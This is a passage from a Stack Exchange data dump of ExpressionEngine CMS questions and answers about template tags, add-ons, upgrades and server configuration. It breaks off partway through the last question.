  <row Id="19316" PostTypeId="1" CreationDate="2014-02-11T04:50:25.607" Score="2" ViewCount="78" Body="&lt;p&gt;I'm currently using PT Field Type Checkboxes to echo out an entries list, which is working fine.&#xA;However when I combine this with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#switch&quot; rel=&quot;nofollow&quot;&gt;{switch=&quot;&quot;} tag&lt;/a&gt;. This is blowing up and white screening the entire page when incorporating the switch tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;List--features&quot;&amp;gt;&#xA;    {cf_idea_features}&#xA;    &amp;lt;li class=&quot;Nav-item&quot;&amp;gt;&#xA;        {option} - {switch='foo|bar'}&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/cf_idea_features}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The docs seem to suggest that switch is supported: &lt;a href=&quot;https://github.com/pixelandtonic/pt_field_pack/blob/master/Docs/Pages/pt-checkboxes.html#L62&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pixelandtonic/pt_field_pack/blob/master/Docs/Pages/pt-checkboxes.html#L62&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running:&#xA;EE - v2.7.2&#xA;Field Pack - Checkboxes 2.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or is switch implemented into Field Pack Checkboxes differently to expression engines channel loop?&lt;/p&gt;&#xA;" OwnerUserId="2732" LastEditorUserId="197" LastEditDate="2014-02-13T03:05:11.913" LastActivityDate="2014-02-13T03:05:11.913" Title="PT Field Type Checkboxes falling over when using {switch} in pairtag" Tags="|pixelandtonic|field-pack|switch|pt-checkboxes|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19317" PostTypeId="2" ParentId="19315" CreationDate="2014-02-11T07:21:06.970" Score="1" Body="&lt;p&gt;I wrote that part of JS some time ago, but if memory serves, then the &quot;not_&quot; prefix was being applied only when &quot;Delete file&quot; link was clicked. It was done so that the Matrix PHP part would not find the file it was looking for and would delete it then. The reason for this JS manipulation is so that the &quot;delete&quot; action is undoable (simply by removing the &quot;not_&quot; prefix).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just applying &quot;not&quot; without user choosing to delete the file is not the correct way to do this, as the script assumes the file was deleted by the user.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-02-11T07:21:06.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19319" PostTypeId="2" ParentId="19302" CreationDate="2014-02-11T08:08:07.033" Score="2" Body="&lt;p&gt;I'll quote &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/fieldtype&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt; here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please note that only &lt;em&gt;non-hidden&lt;/em&gt; and variables with &lt;em&gt;early parsing disabled&lt;/em&gt; show up in the variable list in the Publish Form.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, make sure the vars you want to select are not hidden and have early parsing disabled.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-11T08:08:07.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19320" PostTypeId="2" ParentId="13477" CreationDate="2014-02-11T09:16:01.710" Score="7" Body="&lt;p&gt;Here's how to upgrade an existing EE install with P&amp;amp;T fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After upgrading EE you'll get this error when visiting the modules section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class PT_Fieldtype contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (EE_Fieldtype::display_field) in /third_party/pt_field_pack/pt_fieldtype.php on line 148&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To fix:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the latest fieldpack and copy the files into your install&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add this code to /third_party/pt_field_pack/pt_fieldtype.php (just below the constructor):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display_field($data) {}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Navigate to Addons -&gt; Fieldtypes and install all of the new fieldtypes (the ones that start with FieldPack - blabla. Doing this will automatically uninstall the old fieldtype and change the existing fields you have to use the new fieldtype.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the old fieldtype files (ie. rm -rf third_party/pt_* + webroot/themes/third_party/pt_*)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Voilà - finished!&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-02-11T09:16:01.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19321" PostTypeId="1" CreationDate="2014-02-11T09:17:22.027" Score="1" ViewCount="52" Body="&lt;p&gt;Is there a way to prevent the username being a required field for membership registration. Or use the email field to jointly populate the username field? I'm using the Simple Registration addon to create a front end form.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2014-02-11T11:15:46.960" Title="Membership registration required fields" Tags="|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19322" PostTypeId="1" AcceptedAnswerId="19332" CreationDate="2014-02-11T09:41:30.397" Score="1" ViewCount="75" Body="&lt;p&gt;has anyone experienced an issue with channel entries not saving due to certain words?  I'm updating a site with new content from the client, however when I put the new text in and save, the page just returns me to the front end of the site, without saving the entry.  Through trial and error, it will save if I remove one or two words from the text.  When I put those words back in, the problem returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be anything unusual about the words, they just seem to random words Expression Engine doesn't like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.6.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2014-02-11T15:50:45.113" Title="Entry not saving with certain words" Tags="|ee2|content|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19323" PostTypeId="2" ParentId="10332" CreationDate="2014-02-11T10:07:27.630" Score="4" Body="&lt;p&gt;Here's the response I got from P&amp;amp;T support regarding this error. Solved the issue for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Take a look at the columns in exp_matrix_data table in the database.&#xA;&#xA;* Does it have a field var_id? If no, then the version you should set is 2.2.&#xA;* If yes, does it have a field is_draft? If no, then the version you should set is 2.3&#xA;* If yes, then the version you should set is 2.5.10&#xA;&#xA;Now, set the version number we determined in the previous three steps for the Matrix field in the exp_fieldtypes table and go visit the Add-ons -&amp;gt; Fieldtypes -&amp;gt; Matrix page and hit submit.&#xA;&#xA;Everything should be all working now.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-02-11T10:07:27.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19324" PostTypeId="2" ParentId="19321" CreationDate="2014-02-11T11:15:46.960" Score="2" Body="&lt;p&gt;When you disable the Username field in the Form Settings tab, Simple Registration will use email address for the username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YTVwr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-02-11T11:15:46.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19325" PostTypeId="1" AcceptedAnswerId="19371" CreationDate="2014-02-11T11:16:03.977" Score="2" ViewCount="133" Body="&lt;p&gt;I'm trying to automate the output of SKU's into the page's title for all my product pages for SEO reasons however I'm struggling on how to go about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using SEO lite for outputting page titles and tried the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;{title} {if store_product_sku}{store_product_sku}{/if} {site_name}&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which doesn't appear to work as I'm assuming I need a channel:entries tag or store:product tag, however having tried various combinations of these none of these work either, would appreciate any ideas, here's the other code I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;{title}{exp:channel:entries}{exp:store:product}{if store_product_sku}{store_product_sku}{/if}{/exp:store:product}{/exp:channel:entries} {site_name}&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-02-13T18:32:49.377" Title="Expresso Store - Add product SKU to page title on product detail pages" Tags="|expresso-store|seo|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19326" PostTypeId="1" CreationDate="2014-02-11T12:36:14.577" Score="0" ViewCount="79" Body="&lt;p&gt;Hi is there any posibility to get this working?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;{exp:cartthrob:arithmetic expression=&quot;{option_price_numeric} -({option_price_numeric} * {exp:low_variables:single var='early_bird_discount'} / 100)&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In {exp:low_variables:single var='early_bird_discount'} is 30 in this example&#xA;I'm getting an &quot;undefined variable&quot; error and I know this is correct but I don't know how exactly get the right result for this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the first option Rob Sanchez suggests gives me the following error: &lt;strong&gt;Unparsed EE tags in expression, check parse order.&lt;/strong&gt; Perhaps it is important for you that the tag is nested into several tags in an embed template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;{exp:channel:entries channel=&quot;events&quot; require_entry=&quot;yes&quot; entry_id=&quot;{embed:entry_id}&quot;}&#xA;  {exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot;}&#xA;    {categories show_group=&quot;24&quot;}&#xA;      {options}&#xA;        {if option_value == &quot;{embed:option}&quot;}&#xA;&#xA;          {if category_id ==&quot;160&quot;}&#xA;            {if &quot;{event_early_bird_date format='%U'}&quot; &gt;= &quot;{current_time format='%U'}&quot; &amp;&amp; &quot;{exp:low_variables:single var='siteA:early_bird_discount'}&quot; &gt;&quot;{embed:another_discount}&quot;}&#xA;{!-- ##### --}&#xA;              {exp:cartthrob:arithmetic expression=&quot;{option_price_numeric} -({option_price_numeric} * {early_bird_discount} / 100)&quot;}&#xA;{!-- ##### --}&#xA;            {if:else}&#xA;              {exp:cartthrob:arithmetic expression=&quot;{option_price_numeric} -({option_price_numeric} * {embed:another_discount} / 100) + {embed:membrr_price}&quot;}&#xA;            {/if}&#xA;          {if:elseif category_id ==&quot;161&quot;}&#xA;            [....]&#xA;          {/if}&#xA;          [...]&#xA;&#xA;        {/if}&#xA;      {/options}&#xA;    {/categories}&#xA;  {/exp:cartthrob:item_options}&#xA;{/exp:channel:entries}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured out the problem I think. early_bird_discount is a low variable of siteA but I'm trying use this variable on siteB so using {early_bird_discount} does not work here. Is there any possibility to get the global variable from siteA on siteB?&lt;/p&gt;&#xA;" OwnerUserId="2261" LastEditorUserId="2261" LastEditDate="2014-02-14T11:54:44.980" LastActivityDate="2014-02-14T11:54:44.980" Title="Low Variables in cartthrob arithmetic" Tags="|cartthrob|low-variables|math|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19327" PostTypeId="2" ParentId="19326" CreationDate="2014-02-11T13:17:12.957" Score="2" Body="&lt;p&gt;You could try two things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is to set this particular Low Variable as Early Parsed (in the variable settings). Then you can call it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:arithmetic expression=&quot;{option_price_numeric} -({option_price_numeric} * {early_bird_discount} / 100)&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could try adding parse=&quot;inward&quot; to the arithmetic tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:arithmetic parse=&quot;inward&quot; expression=&quot;{option_price_numeric} -({option_price_numeric} * {exp:low_variables:single var='early_bird_discount'} / 100)&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-02-11T13:17:12.957" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="19328" PostTypeId="2" ParentId="19164" CreationDate="2014-02-11T14:08:01.743" Score="0" Body="&lt;p&gt;I solved it with {exp:zoo_visitor:sync}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first screen is for CT to create member account and others (payment select etc).&#xA;second screen I used {exp:zoo_visitor:sync} to sync CT member data to zoo_visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works great.&#xA;If needed you could use the second screen to alter or add extra data to zoo_visitor.&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2014-02-11T14:08:01.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19329" PostTypeId="2" ParentId="18989" CreationDate="2014-02-11T15:08:28.647" Score="0" Body="&lt;p&gt;I've been able to write my own shipping plugin. Once I polish it up, I'll post it up on github. It does selectable flat rates, item rates, and category rates if you've selected the default flat rate.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2014-02-11T15:08:28.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19330" PostTypeId="1" CreationDate="2014-02-11T15:10:00.010" Score="0" ViewCount="69" Body="&lt;p&gt;Did anybody ever make an add-on that has a icon dropdown (select dropdown)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this: &#xA;&lt;a href=&quot;http://www.marghoobsuleman.com/jquery-image-dropdown&quot; rel=&quot;nofollow&quot;&gt;http://www.marghoobsuleman.com/jquery-image-dropdown&lt;/a&gt;&#xA;Where you can add icons. Preferrably svg with a png fallback. But since it's only Backend, it can be png only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also open to found this! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2014-04-24T08:27:15.907" Title="Looking for an a icon dropdown add-on?" Tags="|add-on|add-on-development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19331" PostTypeId="1" AcceptedAnswerId="19337" CreationDate="2014-02-11T15:48:16.537" Score="1" ViewCount="353" Body="&lt;p&gt;I'm really stuck on how to get this working. I don't know what I need to include to get the plugin to output data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example XML feed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;quote_feed version=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;latest_price&amp;gt;&#xA;        &amp;lt;time&amp;gt;13:24:28&amp;lt;/time&amp;gt;&#xA;        &amp;lt;mid_price&amp;gt;49.00&amp;lt;/mid_price&amp;gt;&#xA;        &amp;lt;offer_price&amp;gt;50.00&amp;lt;/offer_price&amp;gt;&#xA;        &amp;lt;bid_price&amp;gt;48.00&amp;lt;/bid_price&amp;gt;&#xA;    &amp;lt;/latest_price&amp;gt;&#xA;&amp;lt;/quote_feed&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What tags to I need to output the bid price for example? Thanks for anyone's help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tags I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ajw_feedparser &#xA;    url=&quot;feed name&quot;&#xA;    cache_refresh=&quot;10&quot;&#xA;    limit=&quot;8&quot;&#xA;    debug=&quot;true&quot;&#xA;    date=&quot;pubDate&quot;&#xA;}&#xA;&#xA;&amp;lt;p&amp;gt;{mid_price}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:ajw_feedparser} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Error output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cache file exists&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Cache file is fresh (51 seconds remaining)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;No tags available.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastEditorUserId="2024" LastEditDate="2014-02-11T16:55:04.640" LastActivityDate="2015-09-16T05:04:48.487" Title="How to use AJW Feed Parser?" Tags="|xml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19332" PostTypeId="2" ParentId="19322" CreationDate="2014-02-11T15:50:45.113" Score="1" Body="&lt;p&gt;Generally this is a sign that your server has mod_security enabled. You'll want to disable it, or have your host do so, or at least loosen up the settings on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, mod_security is seeing words that could be parts of rogue SQL queries coming in via POST, and it blocks them from getting passed to the script as a preventative measure.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-11T15:50:45.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19333" PostTypeId="2" ParentId="19296" CreationDate="2014-02-11T16:28:45.807" Score="3" Body="&lt;p&gt;try next config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;  listen 443 default_server ssl;&#xA;  ssl_certificate /etc/nginx/ssl/xxx_xxx_xxx.pem;&#xA;  ssl_certificate_key /etc/nginx/ssl/xxx_xxx_xxx.key;&#xA;  server_name xxx.xxx.xxx;&#xA;  root /sites/xxx_xxx_xxx/public_html;&#xA;&#xA;  access_log /var/log/nginx/xxx_xxx_xxx-access.log;&#xA;  error_log  /var/log/nginx/xxx_xxx_xxx-error.log info;&#xA;&#xA;  location /themes/third_party/cartthrob/lib/extload.php { &#xA;    rewrite ^(.*) /themes/third_party/cartthrob/lib/extload.php?$1 last; &#xA;  }&#xA;&#xA;  location / {&#xA;    index index.php;&#xA;    try_files $uri $uri/ @ee;&#xA;  }&#xA;&#xA;  location @ee {&#xA;    rewrite ^(.*) /index.php?$1 last;&#xA;  }&#xA;&#xA;  location ~ \.php$ {&#xA;    include /etc/nginx/fastcgi_params;&#xA;    fastcgi_pass unix:/var/run/php5-fpm.sock;&#xA;    fastcgi_index index.php5;&#xA;    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-11T16:28:45.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19335" PostTypeId="1" AcceptedAnswerId="19375" CreationDate="2014-02-11T17:39:50.597" Score="2" ViewCount="35" Body="&lt;p&gt;Is it possible to use particular template group based on a category of landing page? For an example product categorized as furniture will load template from furniture template group (index) instead of user will go to Pages -&gt; Templates and choose it from a drop down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-02-12T16:39:09.510" Title="Template usage based on category" Tags="|templates|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19336" PostTypeId="1" CreationDate="2014-02-11T17:46:33.253" Score="1" ViewCount="268" Body="&lt;p&gt;I'm retrieving a list and ordering it by a custom field but need to exclude some fields and include others. Essentially it is a case of the EE 'search by custom field' param but using OR not AND....was previously doing this without Stash with Mark Croxton's Search Fields module which unlike native EE does support an 'OR' search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is - how can I replicate this on the Stash list? Is it possible to use Search Fields with Stash? From what I have so far seems not.&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-02-11T19:04:01.120" Title="Possible to filter Stash List by two custom fields?" Tags="|stash|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19337" PostTypeId="2" ParentId="19331" CreationDate="2014-02-11T17:53:23.520" Score="2" Body="&lt;p&gt;If you want just the child elements of &lt;code&gt;latest_price&lt;/code&gt;, you need to set it as the root of the loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ajw_feedparser &#xA;    url=&quot;feed name&quot;&#xA;    cache_refresh=&quot;10&quot;&#xA;    limit=&quot;8&quot;&#xA;    debug=&quot;true&quot;&#xA;    itempath=&quot;/quote_feed/latest_price&quot;&#xA;}&#xA;    &amp;lt;p&amp;gt;{mid_price}&amp;lt;/p&amp;gt;&#xA;{/exp:ajw_feedparser}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-02-11T17:53:23.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19339" PostTypeId="2" ParentId="19336" CreationDate="2014-02-11T18:56:34.130" Score="2" Body="&lt;p&gt;EE &lt;em&gt;does&lt;/em&gt; support OR matching with the channel entries tag parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:body=&quot;pickles|shoes&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that's not enough:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Filtering a Stash list with regular expressions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create your own index column when capturing a resultset as a list. Your index column would concatenate the values you want to filter by.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cache the list so that you don't need to re-run expensive channel:entries queries each time the template is viewed. I'm using '@' as a delimiter for the index column:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;cars&quot; parse_tags=&quot;yes&quot; limit=&quot;500&quot; save=&quot;yes&quot; scope=&quot;site&quot; replace=&quot;no&quot;}&#xA;    {exp:channel:entries channel=&quot;cars&quot;}&#xA;        {stash:index}{marque}@{color}{/stash:index}&#xA;        {stash:marque}{marque}{stash:marque}&#xA;        {stash:color}{color}{stash:color}&#xA;        {stash:reg}{title}{/stash:reg}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- get red OR blue AND volkswagen --}&#xA;{exp:stash:get_list name=&quot;cars&quot; scope=&quot;site&quot; match=&quot;#^(blue|red)@volkswagen$#&quot; against=&quot;index&quot;}&#xA;   {reg} &amp;lt;br&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&#xA;{!-- get red OR volkswagen --}&#xA;{exp:stash:get_list name=&quot;cars&quot; scope=&quot;site&quot; match=&quot;#^red@|@volkswagen$#&quot; against=&quot;index&quot;}&#xA;   {reg} &amp;lt;br&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Caveat&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outputting more than a few hundred entries with channel entries will be expensive in memory and queries the first time your template is viewed and the cache generated. You could write your own optimised query to grab the relevant entries, or if you are trying to filter a large resultset, consider using something like the excellent &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2014-02-11T19:04:01.120" LastActivityDate="2014-02-11T19:04:01.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19340" PostTypeId="1" AcceptedAnswerId="19421" CreationDate="2014-02-11T19:08:31.707" Score="1" ViewCount="54" Body="&lt;p&gt;I would like to be able to link to all entries that have a specific file included using P&amp;amp;T Assets.&#xA;I have a page that displays the large version of an image which is called via this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:files file_id=&quot;{segment_2}&quot;}&#xA;&amp;lt;img src=&quot;{url}&quot; /&amp;gt;&#xA;{/exp:assets:files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I know the file_id (and any other info stored by Assets), is there a way I can search through the entries looking for that Assets file_id?&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2014-02-13T17:27:07.923" Title="Find entries that have a specific file related to by Assets" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19341" PostTypeId="1" CreationDate="2014-02-11T20:07:07.407" Score="2" ViewCount="812" Body="&lt;p&gt;&lt;strong&gt;# Goal&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Display multiple entries using &lt;code&gt;{exp:channel:entries}&lt;/code&gt; and within each entry use a &lt;code&gt;{exp:channel:form}&lt;/code&gt; to allow editing the entry’s content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;# Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this method, I’m able to display and edit entry select fields and checkboxes but a custom field using the native date type does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if an entry’s custom date field contains the value 2013-11-29 12:00 AM, the corresponding date input field in my channel form has the value: ‘1385704800’&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, clicking the date input field does not display the date picker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem only arises when a channel form is wrapped in a channel entries tag. Creating a new entry with the channel form by itself works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m running 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Here's the simplified template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot; disable=&quot;pagination|categories|member_data&quot; status=&quot;Open&quot;}&#xA;    {exp:channel:form channel=&quot;projects&quot; return=&quot;graphics/manager&quot; entry_id=&quot;{entry_id}&quot; json=&quot;yes&quot; id=&quot;publishForm{entry_id}&quot; include_jquery=&quot;no&quot; preserve_checkboxes=&quot;yes&quot; disable=&quot;categories|member_data&quot;}&#xA;        {cf-form-proj-due format='%M. %d'} &amp;lt;!-- This works --&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;cf-form-proj-due&quot; id=&quot;cf-form-proj-due&quot; value=&quot;{cf-form-proj-due}&quot;&amp;gt; &amp;lt;!-- This does not work --&amp;gt;&#xA;    {/exp:channel:form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user2736" LastEditorDisplayName="user2736" LastEditDate="2014-02-11T22:55:10.677" LastActivityDate="2015-01-15T23:09:18.917" Title="Date input field formatting problem in channel form" Tags="|channel-entries|channel-form|date|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19342" PostTypeId="2" ParentId="13534" CreationDate="2014-02-11T20:18:01.493" Score="0" Body="&lt;p&gt;I had the exact issue asked by arvinsim , my form templates would not parse at all after my upgrade from 2.5.5 to 2.7 (and php error was the same). I only needed to replace {exp:safecracker} with {exp:channel:form}. &lt;/p&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2014-02-11T20:18:01.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19343" PostTypeId="1" CreationDate="2014-02-11T22:59:41.710" Score="2" ViewCount="157" Body="&lt;p&gt;I've been trying for days to figure this thing out. I'm building a News section in the site, and under news are 3 categories: Updates, Events, Archive. When you click on one of the categories, i want it to list all the entries where it is under that category, but no matter what I try I just get a 404 error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my settings:&#xA;Channel short name: news&#xA;Group Assignments &gt; Category group: News&#xA;Category Group Name: News&#xA;News Categories: updates, events, archive&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is my current code (though I've tried many many different options and version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;  &amp;lt;head&amp;gt;&#xA;      &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&#xA;      {embed=&quot;Pages/styles&quot;}&#xA;      {embed=&quot;Pages/scripts&quot;}&#xA;      {exp:channel:entries channel=&quot;news&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;      &amp;lt;title&amp;gt;{site_name} - {structure:page:title}&amp;lt;/title&amp;gt;&#xA;      &amp;lt;meta name='keywords' content='{news-keywords}' /&amp;gt;&#xA;      &amp;lt;meta name='description' content='{news-description}' /&amp;gt;&#xA;      {/exp:channel:entries}&#xA;  &amp;lt;/head&amp;gt;&#xA;  